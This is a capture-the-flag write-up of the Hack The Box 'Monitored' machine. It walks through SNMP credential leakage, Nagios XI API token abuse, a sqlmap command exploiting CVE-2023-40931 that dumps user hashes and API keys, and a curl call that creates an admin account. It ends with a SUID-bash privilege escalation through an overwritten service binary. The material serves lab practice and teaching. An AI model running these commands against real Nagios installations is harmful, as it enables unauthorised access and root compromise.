#hackthebox #medium #linux # Information Gathering - Nmap As always, I started off with scanning all TCP ports and found 5 open ports. ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ nmap $IP -Pn -n --open --min-rate 3000 -p- Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-12 00:44 UTC Nmap scan report for 10.10.11.248 Host is up (0.054s latency). Not shown: 65530 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 389/tcp open ldap 443/tcp open https 5667/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 16.85 seconds ``` Then I scanned those open TCP ports again to gather more information. ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ nmap $IP -sCV -p 22,80,389,443,5667 Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-12 00:47 UTC Nmap scan report for 10.10.11.248 Host is up (0.049s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 61:e2:e7:b4:1b:5d:46:dc:3b:2f:91:38:e6:6d:c5:ff (RSA) | 256 29:73:c5:a5:8d:aa:3f:60:a9:4a:a3:e5:9f:67:5c:93 (ECDSA) |_ 256 6d:7a:f9:eb:8e:45:c2:02:6a:d5:8d:4d:b3:a3:37:6f (ED25519) 80/tcp open http Apache httpd 2.4.56 |_http-server-header: Apache/2.4.56 (Debian) |_http-title: Did not follow redirect to https://nagios.monitored.htb/ 389/tcp open ldap OpenLDAP 2.2.X - 2.3.X 443/tcp open ssl/http Apache httpd 2.4.56 ((Debian)) | ssl-cert: Subject: commonName=nagios.monitored.htb/organizationName=Monitored/stateOrProvinceName=Dorset/countryName=UK | Not valid before: 2023-11-11T21:46:55 |_Not valid after: 2297-08-25T21:46:55 |_ssl-date: TLS randomness does not represent time | tls-alpn: |_ http/1.1 |_http-title: Nagios XI |_http-server-header: Apache/2.4.56 (Debian) 5667/tcp open tcpwrapped Service Info: Host: nagios.monitored.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 19.72 seconds ``` Finally, I scanned top 10 UDP ports. ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ nmap $IP -sU --top-ports 10 Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-12 00:48 UTC Nmap scan report for 10.10.11.248 Host is up (0.046s latency). PORT STATE SERVICE 53/udp closed domain 67/udp closed dhcps 123/udp open ntp 135/udp closed msrpc 137/udp closed netbios-ns 138/udp closed netbios-dgm 161/udp open snmp 445/udp closed microsoft-ds 631/udp closed ipp 1434/udp closed ms-sql-m Nmap done: 1 IP address (1 host up) scanned in 3.66 seconds ``` --- # Enumeration ##### HTTP - TCP 80 I mapped the IP address of the target to `nagios.monitored.htb` in `/etc/hosts` file as the domain appeared in the output of nmap scan. ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ echo '10.10.11.248 nagios.monitored.htb' | sudo tee -a /etc/hosts [sudo] password for kali: 10.10.11.248 nagios.monitored.htb ``` Then it appeared navigating to port 80 automatically redirects to port 443. ##### HTTPS - TCP 443 This is what the page on port 443 looks like. ![[Pasted image 20250811195446.png]] Clicking on `Access Nagios XI` button takes me to `nagios.monitored.htb/nagiosxi/login.php` and it has a login form. I tried several default credentials but all of them failed. ![[Pasted image 20250811201510.png]] I ran `gobuster` and found multiple directories but the most of them were not accessible unless authenticated but still, I was able to access some of them below. ![[Pasted image 20250811202739.png]] On `/about` page, I was expecting to find some kind of version info of `Nagios XI` but I couldn't find it. ![[Pasted image 20250811203116.png]] There was another login form on `/mobile`. Again, I tried some of the default credentials but all of them didn't work. ![[Pasted image 20250811203220.png]] `/terminal` is interesting. It looked like some sort of webshell. I tried some default credentials including `root:nagiosxi`, the default credentials believed to be used for `nagios` console or SSH, but they failed again. ![[Pasted image 20250811203511.png]] ##### LDAP - TCP 389 It's my first time `LDAP` running on Linux machine. I didn't expect to find much information from ldap but I still tried enumerating information using `ldapsearch`. ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ ldapsearch -x -H ldap://$IP -b "dc=monitored,dc=htb" # extended LDIF # # LDAPv3 # base <dc=monitored,dc=htb> with scope subtree # filter: (objectclass=*) # requesting: ALL # # monitored.htb dn: dc=monitored,dc=htb objectClass: top objectClass: dcObject objectClass: organization o: monitored.htb dc: monitored # search result search: 2 result: 0 Success # numResponses: 2 # numEntries: 1 ``` ##### SNMP - UDP 161 Since I exhausted almost every enumeration methods I could think of on the spot, I turned to UDP ports, starting from `SNMP` because UDP scan found `SNMP` opened. Even though UDP scan is not that reliable, you still have to turn every stone. `onesixtyone` discovered `public` community string. ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt $IP Scanning 1 hosts, 3219 communities 10.10.11.248 [public] Linux monitored 5.10.0-28-amd64 #1 SMP Debian 5.10.209-2 (2024-01-31) x86_64 10.10.11.248 [public] Linux monitored 5.10.0-28-amd64 #1 SMP Debian 5.10.209-2 (2024-01-31) x86_64 ``` Then I ran `snmp-check` with the `public` community string as the parameter and to my surprise, it returned so much information. ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ snmp-check $IP -c public -v2c snmp-check v1.9 - SNMP enumerator Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org) [+] Try to connect to 10.10.11.248:161 using SNMPv2c and community 'public' [*] System information: Host IP address : 10.10.11.248 Hostname : monitored Description : Linux monitored 5.10.0-28-amd64 #1 SMP Debian 5.10.209-2 (2024-01-31) x86_64 Contact : Me <[email protected]> Location : Sitting on the Dock of the Bay Uptime snmp : 01:15:09.44 Uptime system : 01:14:57.88 System date : 2025-8-11 21:57:15.0 [*] Network information: ... <SNIP> ``` It also returned running processes on the target machine and this one particular process stood out to me because the process was run as `sudo` privilege with what appears to be a set of credentials as parameters. `svc:XjH7VCehowpR1xZB` ![[Pasted image 20250811210348.png]] I tried the credentials in the login form but it still didn't work. However, I noticed the error message is different now. ![[Pasted image 20250811211138.png]] I changed the password to something else and this time it returned the message I saw previously, so I think the credentials are valid but the account must be disabled like the message says. ![[Pasted image 20250811211300.png]] The same request looks like this in Burp ![[Pasted image 20250811211557.png]] I previously discovered `/api` directory with `gobuster`. I'm going to try to enumerate the path of endpoints, if any with `ffuf`. ![[Pasted image 20250811212708.png]] I was able to enumerate some API endpoints from `ffuf`: `Documents and Settings`, `Program Files`, `license`, and `reports list`. However, all of them did not contain any useful information. ![[Pasted image 20250811213341.png]] I ran `feroxbuster` again but this time with `-m GET,POST` option and finally it returned something worth looking into: `/authenticate`. ![[Pasted image 20250811215611.png]] It says I can only use `POST` method with authenticate. ![[Pasted image 20250811215827.png]] I moved to `Burp` and changed the request method to `POST`. The server responded that I have to enter valid username and password. ![[Pasted image 20250811215941.png]] I just manually typed in `username=svc&password=XjH7VCehowpR1xZB` and the server did return valid information including `auth_token`. Now we need to find how this token could possibly be used. ![[Pasted image 20250811220118.png]] I found [this pdf file](https://assets.nagios.com/downloads/nagiosxi/docs/Accessing-and-Using-the-XI-REST-API.pdf) on the official `nagios` website and it explains how we can access and use the REST APIs. Let's give this a try. ![[Pasted image 20250811220804.png]] I tried multiple times, but it returned `Invalid API key`. ![[Pasted image 20250811221209.png]] At this point, I couldn't find a way to move forward, so I referred to `0xdf`'s writeup and he searched for `/nagiosxi/api/v1/authenticate` on Google and opened up the first link from the search, which opens up this forum below. The example contained this parameter `token`. I'm starting to dislike this machine (-_-) ![[Pasted image 20250811223133.png]] I followed the request written in the screenshot above in my GET request and the server returned a PNG file. WHAT DO I DO WITH THIS!! UGH! ![[Pasted image 20250811223702.png]] I referred to `0xdf`'s writeup again. He just appended `/?token=<token_value>` to `/nagiosxi` like this: `https://nagios.monitored.htb/nagiosxi/?token=77354492a4efe16b2a66e55f57c520e0e11a0f82` And it finally showed something useful! Now I see the version info at the bottom left corner. ![[Pasted image 20250811224122.png]] So there's a known vulnerability to this version of `nagios`:`CVE-2023-40931`. It's vulnerable to `SQL Injection`. ![[Pasted image 20250811224440.png]] I referred to those 2 PoC below for exploitation. The first repo explains vulnerabilities in details but I used the `sqlmap` payload listed in the second Github repo. ![[Pasted image 20250811225000.png]] The sqlmap payload I used: ```bash sqlmap -D nagiosxi -T xi_users -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner _message&id=3&token=`curl -ksX POST https://nagios.monitored.htb/nagiosxi/api/v1/authenticate -d "username=svc&password=XjH7VCehowpR1xZB&v alid_min=1000" | awk -F'"' '{print$12}'`" --dump --level 4 --risk 3 -p id --batch ``` And finally `sqlmap` dumped 2 entries of `svc` and `admin`. ![[Pasted image 20250811225741.png]] | user_id | email | name | api_key | enabled | password | username | created_by | last_login | api_enabled | last_edited | created_time | last_attempt | backend_ticket | last_edited_by | login_attempts | last_password_change | +---------+---------------------+----------------------+------------------------------------------------------------------+---------+--------------------------------------------------------------+-------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+ | 1 | [email protected] | Nagios Administrator | IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL | 1 | $2a$10$825c1eec29c150b118fe7unSfxq80cf7tHwC0J0BG2qZiNzWRUx2C | nagiosadmin | 0 | 1701931372 | 1 | 1701427555 | 0 | 1754961477 | IoAaeXNLvtDkH5PaGqV2XZ3vMZJLMDR0 | 5 | 2 | 1701427555 | | 2 | [email protected] | svc | 2huuT2u2QIPqFuJHnkPEEuibGJaJIcHCFDpDb29qSFVlbdO4HJkjfg2VpDNE3PEK | 0 | $2a$10$12edac88347093fcfd392Oun0w66aoRVCrKMPBydaUfgsgAOUHSbK | svc | 1 | 1699724476 | 1 | 1699728200 | 1699634403 | 1754965033 | 6oWBPbarHY4vejimmu3K8tpZBNrdHpDgdUEs5P2PFZYpXSuIdrRMYgk66A0cjNjq | 1 | 9 | 1699697433 | The hash type appears to be `bcrypt`, so I am going to use mode 3200. ![[Pasted image 20250811230401.png]] ```bash ┌──(kali㉿kali)-[~/Desktop] └─$ cat hashes.txt $2a$10$825c1eec29c150b118fe7unSfxq80cf7tHwC0J0BG2qZiNzWRUx2C $2a$10$12edac88347093fcfd392Oun0w66aoRVCrKMPBydaUfgsgAOUHSbK ``` However the `hashcat` took forever to crack the hashes. This can't be it. I referred to `0xdf`'s writeup again. He found a forum post and drew `auth_level` parameter and used it to create an administrative account. Here's my version: ```bash curl -d "username=wook&password=wookpass&name=wook&[email protected]&auth_level=admin&force_pw_change=0" -k 'https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL' ``` It successfully created my account `wook` ![[Pasted image 20250811232119.png]] I logged out of `svc` to test my credentials. ![[Pasted image 20250811232201.png]] I successfully logged in as `wook`. You can see my username at the top right corner. ![[Pasted image 20250811232235.png]] Looking around the website, I found `Commands` page. I'll click on `Add New` and try to insert a reverse shell payload and see if it triggers. ![[Pasted image 20250811232535.png]] Here's my revshell payload. ![[Pasted image 20250811232933.png]] I applied the changes. ![[Pasted image 20250811233014.png]] In `Hosts` tab, there was a single host named `localhost`. Clicking on it took me to the page below. There's a dropdown menu called `Check command` and at the very bottom, my revshell payload was there. ![[Pasted image 20250811233214.png]] ![[Pasted image 20250811233339.png]] I finally got a shell as `nagios` ![[Pasted image 20250811233612.png]] Found `user.txt` in `/home/nagios` ```bash nagios@monitored:~$ cat user.txt cat user.txt e66... ``` # Privilege Escalation - to `root` `sudo -l` command revealed a bunch of commands the current user can run as `sudo`. ```bash nagios@monitored:~$ sudo -l Matching Defaults entries for nagios on localhost: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User nagios may run the following commands on localhost: (root) NOPASSWD: /etc/init.d/nagios start (root) NOPASSWD: /etc/init.d/nagios stop (root) NOPASSWD: /etc/init.d/nagios restart (root) NOPASSWD: /etc/init.d/nagios reload (root) NOPASSWD: /etc/init.d/nagios status (root) NOPASSWD: /etc/init.d/nagios checkconfig (root) NOPASSWD: /etc/init.d/npcd start (root) NOPASSWD: /etc/init.d/npcd stop (root) NOPASSWD: /etc/init.d/npcd restart (root) NOPASSWD: /etc/init.d/npcd reload (root) NOPASSWD: /etc/init.d/npcd status (root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php * (root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/send_to_nls.php * (root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/migrate/migrate.php * (root) NOPASSWD: /usr/local/nagiosxi/scripts/components/getprofile.sh (root) NOPASSWD: /usr/local/nagiosxi/scripts/upgrade_to_latest.sh (root) NOPASSWD: /usr/local/nagiosxi/scripts/change_timezone.sh (root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_services.sh * (root) NOPASSWD: /usr/local/nagiosxi/scripts/reset_config_perms.sh (root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_ssl_config.sh * (root) NOPASSWD: /usr/local/nagiosxi/scripts/backup_xi.sh * ``` I transferred `linpeas.sh` from my kali ![[Pasted image 20250811234629.png]] Even though I ran `linpeas` and read through the output, I couldn't figure out how to move forward from here. The box is way beyond my level. This box has been too overwhelming for me. So I'm just going to follow `0xdf`'s writeup step-by-step. To be honest, now looking at his writeup got me thinking that I would never be able to solve this machine on my own haha. In his writeup, he introduces 2 ways to privesc, and I'm just going to follow the first one: `overwrite and restart nagios service`. --- `manage_service.sh` can be run as `root`. In the script, it defines two lists: first and second. ```bash # Things you can do first=("start" "stop" "restart" "status" "reload" "checkconfig" "enable" "disable") second=("postgresql" "httpd" "mysqld" "nagios" "ndo2db" "npcd" "snmptt" "ntpd" "crond" "shellinaboxd" "snmptrapd" "php-fpm") ``` The `first` argument is saved as `action` and the second as `service`. ```bash action=$1 # if service name is defined in xi-sys.cfg use that name # else use name passed if [ "$2" != "php-fpm" ] && [ ! -z "${!2}" ];then service=${!2} else service=$2 fi ``` This part of the script validates that `action` is in `first` and `service` is in `second` and then if so, runs `systemctl` or `service` ```bash # Ubuntu / Debian if [ "$distro" == "Debian" ] || [ "$distro" == "Ubuntu" ]; then # Adjust the shellinabox service, no trailing 'd' in Debian/Ubuntu if [ "$service" == "shellinaboxd" ]; then service="shellinabox" fi if [ `command -v systemctl` ]; then `which systemctl` --no-pager "$action" "$service" $args return_code=$? else `which service` "$service" "$action" return_code=$? fi fi ``` ```bash for service in "postgresql" "httpd" "mysqld" "nagios" "ndo2db" "npcd" "snmptt" "ntpd" "crond" "shellinaboxd" "snmptrapd" "php-fpm"; do find /etc/systemd/ -name "$service.service"; done /etc/systemd/system/multi-user.target.wants/postgresql.service /etc/systemd/system/multi-user.target.wants/nagios.service /etc/systemd/system/multi-user.target.wants/npcd.service /etc/systemd/system/npcd.service /etc/systemd/system/multi-user.target.wants/snmptt.service /etc/systemd/system/multi-user.target.wants/snmptrapd.service ``` Then he started a bash loop to check for all the services to look for dangerous permissions and there are six installed. Then `0xdf` looped those into a command that reads the service file, `grep` for any line with `exec` and then get the binary called there. ```bash nagios@monitored:/dev/shm$ for service in "postgresql" "httpd" "mysqld" "nagios" "ndo2db" "npcd" "snmptt" "ntpd" "crond" "shellinaboxd" "snmptrapd" "php-fpm"; do find /etc/systemd/ -name "$service.service"; done | while read service_file; do ls -l $(cat "$service_file" | grep Exec | cut -d= -f 2 | cut -d' ' -f 1); done | sort -u for service in "postgresql" "httpd" "mysqld" "nagios" "ndo2db" "npcd" "snmptt" "ntpd" "crond" "shellinaboxd" "snmptrapd" "php-fpm"; do find /etc/systemd/ -name "$service.service"; done | while read service_file; do ls -l $(cat "$service_file" | grep Exec | cut -d= -f 2 | cut -d' ' -f 1); done | sort -u ls: cannot access '#': No such file or directory -rwxrwxr-- 1 nagios nagios 717648 Nov 9 2023 /usr/local/nagios/bin/nagios -rwxr-xr-- 1 nagios nagios 31584 Nov 9 2023 /usr/local/nagios/bin/npcd -rwxr-xr-x 1 root root 182238 Jul 23 2020 /usr/sbin/snmptt -rwxr-xr-x 1 root root 30952 Apr 6 2021 /bin/kill -rwxr-xr-x 1 root root 30952 Apr 6 2021 /bin/kill -rwxr-xr-x 1 root root 30952 Apr 6 2021 /usr/bin/kill -rwxr-xr-x 1 root root 34840 Aug 15 2022 /usr/sbin/snmptrapd -rwxr-xr-x 1 root root 39680 Sep 24 2020 /bin/true -rwxr-xr-x 1 root root 43808 Sep 24 2020 /bin/sleep -rwxr-xr-x 1 root root 72704 Sep 24 2020 /usr/bin/rm ``` We can see the top two binaries are owned by the `nagios` user. renamed `nagios` binary to `nagios.copy` ```bash nagios@monitored:/usr/local/nagios/bin$ mv nagios nagios.copy ``` Wrote a simple `bash` script to `/tmp/x.sh` ```bash nagios@monitored:/tmp$ echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/wook\nchown root:root /tmp/wook\nchmod 6777 /tmp/wook' > x.sh nagios@monitored:/tmp$ cat x.sh cat x.sh #!/bin/bash cp /bin/bash /tmp/wook chown root:root /tmp/wook chmod 6777 /tmp/wook ``` Copied this shell script to `nagios` binary and set the execute permissions. Then restart the service. ```bash nagios@monitored:/tmp$ cp cp /tmp/x.sh nagios nagios@monitored:/tmp$ chmod +x nagios nagios@monitored:/tmp$ sudo /usr/local/nagiosxi/scripts/manage_services.sh restart nagios Job for nagios.service failed because the control process exited with error code. See "systemctl status nagios.service" and "journalctl -xe" for details. ``` It fails because this is not a valid service but it still did run. Then you can run with `-p` option to not drop root privilege and you get a shell as `root`.